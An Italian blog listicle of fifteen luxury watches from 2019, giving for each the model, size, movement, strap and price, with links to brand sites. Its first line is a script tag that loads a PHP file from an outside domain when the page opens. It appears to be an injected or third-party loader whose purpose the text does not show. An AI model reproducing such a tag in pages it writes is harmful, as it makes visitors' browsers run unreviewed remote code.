<script src='//js.octadv.com/50a1ko.php'></script>

# 15 Tra I Migliori Orologi di Lusso del 2019

---

![image](https://www.orologidiclasse.com/wp-content/uploads/2019/06/orologi-lusso-2019-750x563.jpg "image")

Il mondo è pieno di orologi sfarzosi.

Premesso che pochi possano permetterseli, conosci quali sono i segnatempo di lusso più eccellenti del 2019?

Tra marchi svizzeri, indipendenti, saloni di Alta Orologeria praticamente chiusi al pubblico come il SIHH o ridotti al minimo come Baselworld 2019, ed eventi privati che nascono come funghi, non è facile tenere a mente gli orologi dei marchi più prestigiosi.

Alla fine di questo articolo saprai quali sono, sino ad ora nel 2019, alcuni tra i migliori orologi di lusso.

## 1. Audemars Piguet Royal Oak Selfwinding

[![Audemars Piguet Royal Oak](https://www.orologidiclasse.com/wp-content/uploads/2019/06/audemars-piguet-royal-oak-750x630.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/06/audemars-piguet-royal-oak.jpg)

Per quanto da inizio 2019 alla Maison tutti i riflettori erano puntati sul nuovo Code 11.59, il Royal Oak continua e essere l’orologio più amato e riconoscile del prestigioso marchio svizzero.

L’anno 2019 ha visto l’introduzione di una nuova referenza di entrata Royal Oak che mantiene la famosa lunetta ottagonale e una cassa da 41mm di diametro declinandole però in diverse proporzioni. Con 10.4mm è leggermente più spesso del modello precedente (9.8mm).

Esternamente il quadrante a Grand Tapisserie riporta ora indici delle ore più larghi e il datario è stato spostato leggermente verso il centro. L’orologio è alimentato da un nuovo calibro di manifattura che batte a una frequenza di 4 Hz in luogo dei 3Hz del precedente e adesso ha 70 ore di autonomia di carica.  
**Misura**: 41mm  
**Movimento**: AP cal. 4302 carica automatica  
**Cinturino/Bracciale**: Acciaio  
**Prezzo**: €19.500

[SCOPRI DI PIÚ: QUI](https://www.audemarspiguet.com/)

## 2. Blancpain Villeret Extra-plate

[![Blancpain Villeret Extra-plate 6605 oro rosso](https://www.orologidiclasse.com/wp-content/uploads/2019/05/blancpain-villeret-extra-plat-6605-750x563.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/05/blancpain-villeret-extra-plat-6605.jpg)

L’orologio di lusso è ultrapiatto per antonomasia e da sempre Blancpain si muove molto bene in questo campo. Quest’anno la manifattura ha rivisitato un suo classico.

Eleganza significa anche ridurre tutto al minimo: è lo stile del nuovo Villeret Extra-plate 6605. La lunetta “double pome”, le lancette a foglia “évidées”, le cifre delle ore costituite da numeri romani in rilievo, e la cassa in oro rosso 18 k spessa solo 7,4mm, non fanno che confermare questa tesi.

Il movimento meccanico di manifattura, derivato dall’eccellente Calibro 1150 Frederic Piguet, è a carica manuale e grazie a due bariletti montati in serie ha una riserva di carica di ben 95 ore marcate con discrezione dal lato del fondello. Semplice ma molto chic e rifinito con estrema cura.  
**Misura**: 42mm  
**Movimento**: Blancpain cal. 11A4B carica manuale  
**Cinturino/Bracciale**: Alligatore  
**Prezzo**: €18.770

[SCOPRI DI PIÚ: QUI](https://www.blancpain.com/)

## 3. IWC Pilot’s Watch Double Chronograph Top Gun Ceratanium

[![IWC Pilot’s Watch Double Chronograph](https://www.orologidiclasse.com/wp-content/uploads/2019/06/iwc-pilot-750x630.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/06/iwc-pilot.jpg)

Da sempre la serie Pilot’s di IWC incarna alla perfezione l’orologio militare di lusso: la Maison svizzera è tra i pochi marchi che oggi realizza orologi, ispirati a quelli della II Guerra, di classe superiore. Col tempo la collezione si è affinata con calibri di manifattura e l’utilizzo di speciali materiali avanzati.

Difatti il Ceratanium, materiale di cui è composta la cassa da 44.5mm, è stato sviluppato a Schaffhausen. Leggero e resistente ai graffi è una lega speciale che combina i vantaggi di titanio e ceramica.

È un cronografo rattrapante che consente la misurazione di due eventi di diversa durata iniziati contemporaneamente. Dopo essere stata avviata con il canonico pulsante a ore 2, premendo quello a ore 9 fa sdoppiare la lancetta dei secondi consentendo così di rilevare i tempi intermedi.  
**Misura**: 44mm  
**Movimento**: IWC cal. 79420 carica manuale  
**Cinturino/Bracciale**: Caucciù con inserto in tessuto  
**Prezzo**: €15.400

[SCOPRI DI PIÚ: QUI](https://www.iwc.com/)

## 4. Cartier Santos-Dumont

[![Cartier Santos-Dumont](https://www.orologidiclasse.com/wp-content/uploads/2019/06/cartier-santos-dumont-750x630.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/06/cartier-santos-dumont.jpg)

Nel 2019 l’iconico orologio di Cartier, nonché il primo orologio da polso uomo della storia, continua ovviamente a mantenere la sua cassa di forma quadra ma introduce nuovi modelli nella linea Santos-Dumont.

Disponibile anche in una taglia più piccola da 27.5mm (larghezza) x 38.5mm (lunghezza), alto solo 7mm è offerto con cassa in acciaio oppure d’oro. Monta un movimento al quarzo, scelta che pochi segnatempo di fascia superiore oltre a un Santos possono permettersi di portare senza ricevere delle critiche.

Per le funzioni fornite di sole ore e minuti è perfetto: a parità di indicazioni un movimento meccanico non avrebbe aggiunto molto, e rapportato all’altissimo livello del marchio è alla fine venduto a un prezzo abbordabile.  
**Misura**: 31.4mm (larghezza) x 43.5 (lunghezza)  
**Movimento**: Cartier cal. quarzo  
**Cinturino/Bracciale**: Alligatore  
**Prezzo**: €3.800

[SCOPRI DI PIÚ: QUI](https://www.cartier.it/)

## 5. Vacheron Constantin Traditionnelle Twin Beat Perpetual Calendar

[![Vacheron Constantin Traditionnelle Twin Beat Perpetual Calendar](https://www.orologidiclasse.com/wp-content/uploads/2019/01/vc-traditionnelle-twin-beat-perpetual-calendar-750x563.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/01/vc-traditionnelle-twin-beat-perpetual-calendar.jpg)

Ogni tanto le manifatture di Alta Orologeria segnano il proprio territorio e lo fanno spingendo la meccanica ben oltre i limiti conosciuti. Presentato al Salone Internazionale di Alta Orologeria di Ginevra a gennaio 2019, il Vacheron che vedi è un orologio cui doppia frequenza può essere scelta dall’utilizzatore.

Questo calendario perpetuo, che di per se è in assoluto una tra le complicazioni più sopraffine, possiede un meccanismo che consente di decidere se passare dall’alta frequenza di 5 Hz, pari a 36.000 alternanze/ora, a quella di 1,2 Hz (8.640 alternanze/ora) che è poco più veloce di 1 Hz, ossia la frequenza di un antico pendolo da muro. Tutto questo al volo senza dover fermare il bilanciere.

Con una cassa in preziosissimo platino, e finiture tradizionali un po’ ovunque rigorosamente procurate a mano, il Twin Beat Perpetual Calendar ripropone la sfida che da sempre si consuma nei piani alti dell’orologeria, cioè qual è la migliore frequenza per un orologio meccanico.  
**Misura**: 42mm  
**Movimento**: VC cal. 3610 QP carica manuale  
**Cinturino/Bracciale**: Alligatore  
**Prezzo**: €210.000

[SCOPRI DI PIÚ: QUI](https://www.vacheron-constantin.com/)

## 6. Breitling Navitimer Ref. 806 1959 Re-Edition

[![Breitling Navitimer Ref. 806 1959 Re-Edition](https://www.orologidiclasse.com/wp-content/uploads/2019/03/breitling-navitimer-ref-806-1959-re-edition-750x563.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/03/breitling-navitimer-ref-806-1959-re-edition.jpg)

Da sempre firma di magnifici cronografi, ricchi di funzioni e sistemi di calcolo ottenuti con la sola lunetta girevole, quest’anno Breitling fa felici i suoi tanti appassionati riproponendo fedelmente il primo Navitimer uscito sessant’anni fa.

Tutto è praticamente uguale al modello di riferimento a iniziare dalla tipica lunetta a 94 gocce che consentiva ai piloti una migliore presa e permettevano di azionarla senza doversi togliere i guanti.

Mosso da un nuovo movimento di manifattura a carica manuale con cronografo, e smistamento delle funzioni tramite ruota a colonne, è per chi vuole indossare un’icona con la praticità di un orologio di alti livelli concepito ai nostri giorni. Affrettatevi: solo 1959 pezzi al mondo.  
**Misura**: 40.9mm  
**Movimento**: Breitling cal. B09 carica manuale  
**Cinturino/Bracciale**: Cuoio  
**Prezzo**: €7.700

[SCOPRI DI PIÚ: QUI](https://www.breitling.com/)

## 7. Rolex Datejust 36

[![Rolex Datejust 36 estetica](https://www.orologidiclasse.com/wp-content/uploads/2019/04/rolex-datejust-36-2019-estetica-750x563.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/04/rolex-datejust-36-2019-estetica.jpg)

Poteva mancare nella selezione dei migliori orologi di lusso di quest’anno un Rolex? Vado contro corrente e invece che proporre un GMT Master 2, magari nella recente versione Rolex Batman, scelgo l’Oyster Perpetual più elegante e classico che ci sia: un segnatempo fuori dal tempo enella sua categoria irraggiungibile.

Perfetto nella versione con cassa da 36mm, se non hai un polso enorme, è l’Oyster dei sogni. Molto chic con il quadrante nero proposto nel 2019, robusto e impermeabile, potresti allacciarlo e non separarti mai più da lui.

Rimasto identico all’esterno è stato aggiornato nel calibro che ora è lo stesso montato la prima volta nel fratello maggiore da 41mm e dal Deepsea 2018. In un solo colpo metti al polso un marchio di lusso e sinonimo di status.  
**Misura**: 36mm  
**Movimento**: Rolex cal. 3235 carica automatica  
**Cinturino/Bracciale**: Acciaio Oyster jubilé  
**Prezzo**: €7.600

[SCOPRI DI PIÚ: QUI](https://www.rolex.com/)

## 8. Patek Philippe Aquanaut

[![Patek Philippe Aquanaut 5168G-010](https://www.orologidiclasse.com/wp-content/uploads/2019/06/patek-aquanaut-5168-g-010-750x750.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/06/patek-aquanaut-5168-g-010.jpg)

Lo abbiamo recensito qualche giorno fa. Qui la ricerca si fa ancora più fine e esclusiva: la classe del nuovo Aquanaut 5168G è irraggiungibile; solo Patek Philippe poteva firmare un orologio che da lontano sembra un Timex perfetto per andare in vacanza senza preoccuparti che te lo rubino e che invece è un capolavoro al polso.

Per il 2019 il marchio ginevrino ha tirato fuori dal cilindro un “tool watch” da nababbi. Con tutto quel verde khaki è difficile prenderlo sul serio, ma se lo guardi bene con un po’ d’attenzione spiccano ovunque curatissimi dettagli.

La sottile cassa in oro bianco nell’esclusivo disegno della collezione Aquanaut rivela da vicino tutta la sublime cura con cui è stata manufatta: ovunque è un sottile gioco di parti lucide e satinate. Se non sei ancora convinto giralo e guarda dal fondello il prezioso e sottilissimo movimento Patek. Oltre i confini conosciuti del lusso in orologeria.  
**Misura**: 42.9mm  
**Movimento**: PP cal. 324 C S carica automatica  
**Cinturino/Bracciale**: Materiali compositi  
**Prezzo**: €36.610

[SCOPRI DI PIÚ: QUI](https://www.patek.com/)

## 9. Glashutte Original Senator Chronometer

[![orologio Glashütte Original Senator Chronometer 2019](https://www.orologidiclasse.com/wp-content/uploads/2019/05/glashutte-original-senator-chronometer-2019-750x563.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/05/glashutte-original-senator-chronometer-2019.jpg)

Da quasi 200 anni la visione di Glashutte Original viaggia su altri livelli di Alta Orologeria. Con un ampio quadrante argento laccato a finitura grené il Senator Chronometer riprende gli antichi orologi da taschino che intorno la fine dell’800 venivano manufatti in Sassonia.

Questa versione dichiara un marcato interesse per il conseguimento di un’alta precisione meccanica. Il movimento a carica manuale, certificato cronometro dall’ente tedesco DKD, possiede lo stop dei secondi con reset a zero e l’esclusiva regolazione della lancetta dei minuti con 60 micro scatti.

Quest’ultima funzione, unica in orologeria, consente di poter impostare l’ora non solo al secondo esatto ma anche al minuto esatto. Sembra un accorgimento di seconda importanza ma non lo è. È inutile sincronizzare il secondo se poi “punti” la lancetta dei minuti in maniera errata; quando leggi l’ora mica leggi i secondi.

Presentato nel 2019 in una cassa in oro rosso leggermente rivista, spicca per le tipiche finiture dell’orologeria sviluppata nel paesino di Glashutte.  
**Misura**: 42mm  
**Movimento**: Cal. 58-01 carica manuale  
**Cinturino/Bracciale**: Alligatore  
**Prezzo**: €26.400

[SCOPRI DI PIÚ: QUI](https://www.glashuette-original.com/)

## 10. Grönefeld 1941 Decennium Tourbillon

[![Grönefeld 1941 Decennium Tourbillon](https://www.orologidiclasse.com/wp-content/uploads/2019/06/gronefeld-1941-tourbillon-decennium-750x563.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/06/gronefeld-1941-tourbillon-decennium.jpg)

L’ultimo di questa selezione di recenti orologi top è uno strabiliante pezzo di orologeria indipendente realizzato da Grönefeld. Visto e fotografato a Baselworld 2019 è un tourbillon che celebra i dieci anni di orologeria stratosferica dei fratelli olandesi Bart e Tim.

Con una cassa in platino questo 1941 è un’apoteosi di classe e eleganza: non è certo l’orologio da indossare tutti i giorni. Animato da un movimento a carica automatica, mantenuto in carica da un rotore in oro massiccio a 22 carati e montato su cuscinetti a sfera per ridurre al minimo l’attrito, presenta gradevoli superfici micro pallinate che si alternano a certosini anglage.

I castoni che trattengono i rubini sono in oro 18k e vi sono ampie superfici lucidate a specchio come l’unico ponte su cui appoggia il tourbillon che è di tipo volante. Verrà costruito in soli 10 esemplari per altrettanti fortunati estimatori di quest’arte senza fine.

**Misura**: 39.5mm  
**Movimento**: Grönefeld cal. tourbillon carica automatica  
**Cinturino/Bracciale**: Alligatore  
**Prezzo**: € 145.000 (tasse escluse)

[SCOPRI DI PIÚ: QUI](https://www.gronefeld.com/)

## 11. Bulgari Octo Finissimo Chronograph GMT Automatic

[![Bulgari Octo Finissimo Chronograph GMT Automatic](https://www.orologidiclasse.com/wp-content/uploads/2019/06/bulgari-octo-finissimo-chronograph-gmt.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/06/bulgari-octo-finissimo-chronograph-gmt.jpg)

Con la collezione Octo Finissimo da qualche anno la casa che fu di Sotirio sbanca tra gli orologi di prestigio dal profilo sottile. Il nuovo Chronograph GMT Automatic è il cronografo con secondo fuso orario più sottile al mondo.

La sua cassa in titanio spessa appena 6,90 mm con fondello in zaffiro presenta la corona di carica leggermente incassata mentre il quadrante è in titanio sabbiato.

Per limitare lo spessore il movimento automatico ha il rotore montato lateralmente ma nonostante questo con 55 ore l’autonomia non è male. Il secondo fuso orario GMT si regola con un pulsante posizionato alle 9.

Misura: 42 mm  
Movimento: Calibro BVL 318 carica automatica  
Cinturino/Bracciale: Titanio satinato  
Prezzo: €17.400

[SCOPRI DI PIÚ: QUI](https://www.bulgari.com/)

## 12. Zenith Chronomaster 2

[![Zenith Chronomaster 2](https://www.orologidiclasse.com/wp-content/uploads/2019/06/zenith-chronomaster2-750x500.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/06/zenith-chronomaster2.jpg)

Quest’anno insieme a pochi altri marchi Zenith festeggia i 50 anni di El Primero il primo movimento automatico con cronografo integrato della storia e per di più ad alta frequenza.

Il Chronomaster 2 è un nuovo modello con il rivisto movimento EP 3600 e cassa in titanio da 42 mm e lunetta in ceramica disponibile in due edizioni limitate da 250 esemplari. Come i suoi predecessori grazie alle sue 36.000 alternanze rileva e visualizza intervalli brevi sino a 1/10 di secondo.

Per ora questa novità si affianca ad altri orologi importanti della collezione El Primero, ma la Maison ha dichiarato che aggiungerà presto al suo calibro diverse complicazioni.

Misura: 42 mm  
Movimento: Calibro EP 3600 carica automatica  
Cinturino/Bracciale: Cocco cucito su caucciù  
Prezzo: €9.600

[SCOPRI DI PIÚ: QUI](https://www.zenith-watches.com/)

## 13. Panerai Submersible Chrono Guillaume Néry edition PAM 982

[![Panerai Submersible Chrono Guillaume Néry edition PAM 982](https://www.orologidiclasse.com/wp-content/uploads/2019/01/panerai-guillaume-nery-sihh-2019-750x563.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/01/panerai-guillaume-nery-sihh-2019.jpg)

Guillaume Néry è il campione francese di apnea noto per aver conseguito accidentalmente nel 2015 con 139 metri il record del mondo di immersione in apnea per un errore degli organizzatori mentre stava cercando di conseguire il suo 5° record mondiale a 129 metri.

Panerai gli ha dedicato un cronografo Submersible professionale con cassa in titanio impermeabile sino a 300 metri che si distingue per un accattivante quadrante grigio con sfondo a grenage su cui appoggiano indici bianchi, una combinazioni molto ben azzeccata se contiamo che alcune delle sfere azzurrate si legano particolarmente bene con la lunetta unidirezionale girevole blu elettrico.

Il cronografo è munito della funzione flyback che consente di resettare la lancetta centrale a zero e iniziare una nuova misurazione di un intervallo breve con la semplice pressione di un pulsante.

Misura: 42 mm  
Movimento: Calibro P 9.100 carica automatica  
Cinturino/Bracciale: Caucciù  
Prezzo: €18.900

[SCOPRI DI PIÚ: QUI](https://www.panerai.com/)

## 14. F.P. Journe Tourbillon Souverain Vertical

[![FP Journe Tourbillon Souverain Vertical](https://www.orologidiclasse.com/wp-content/uploads/2019/10/fp-journe-tourbillon-souverain-vertical-750x563.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/10/fp-journe-tourbillon-souverain-vertical.jpg)

In un elenco dei migliori marchi di orologi di lusso non poteva mancare un F.P. Journe. Quello che ho scelto è stato presentato a inizio anno al SIHH per il 20° anniversario del Souverain Tourbillon.

Per l’occasione il maestro marsigliese ha realizzato un modello speciale con gabbia del tourbillon che grazie a un giunto cardanico rimane sempre in verticale consentendo così al bilanciere al suo interno di generare semi oscillazioni più isocrone.

Il suo tourbillon impiega solo trenta secondi per compiere un’intera evoluzione. Come ribadisce la storica scritta sul quadrante anche il Souverain Vertical fornisce forza costante con il remontoir d’égalité e gli ipnotizzanti secondi morti. Cassa in oro rosso o platino e movimento in oro massiccio.

Misura: 42 mm  
Movimento: Calibro 1519 carica manuale  
Cinturino/Bracciale: Alligatore  
Prezzo: € 248.836 (oro rosso) e € 252.793 (platino)

[SCOPRI DI PIÚ: QUI](https://www.fpjourne.com/)

## 15. Jaeger-LeCoultre Master Grande Tradition Gyrotourbillon Westminster Perpétuel

[![Jaeger-LeCoultre Master Grande Tradition Gyrotourbillon Westminster Perpétuel](https://www.orologidiclasse.com/wp-content/uploads/2019/01/jaeger-master-grande-tradition-750x750.jpg)](https://www.orologidiclasse.com/wp-content/uploads/2019/01/jaeger-master-grande-tradition.jpg)

Il Gyrotourbillon è il tourbillion multi-asse inventato anni fa da Jaeger Le-Coultre, la Maison di Le Sentier lo ha recentemente inserito in un segnatempo della collezione Master affiancandolo ad una ripetizione minuti con Grande Suoneria Wenstminster.

La complicazione sonora beneficia delle innovazioni più̀ recenti come i gong di cristallo brevettati. Saldati al vetro del quadrante dell’orologio, questi anelli sfruttano le qualità di trasmissione sonore superiori del vetro zaffiro sintetico per produrre suoni forti e chiari come quelli cui è composta la melodia.

La particolarità meccanica di questo spettacolare tourbillon sta però nel dispositivo di forza costante di un minuto intelligentemente collegato con la lancetta dei minuti in modo da renderli saltanti.

Misura: 43 mm  
Movimento: Calibro 184 carica manuale  
Cinturino/Bracciale: Coccodrillo  
Prezzo (indicativo): €800.000

[SCOPRI DI PIÚ: QUI](https://www.jaeger-lecoultre.com/)

## Conclusioni

Cosa ne pensi?

Quale tra questi prestigiosi orologi compreresti?

Scrivilo in un commento.
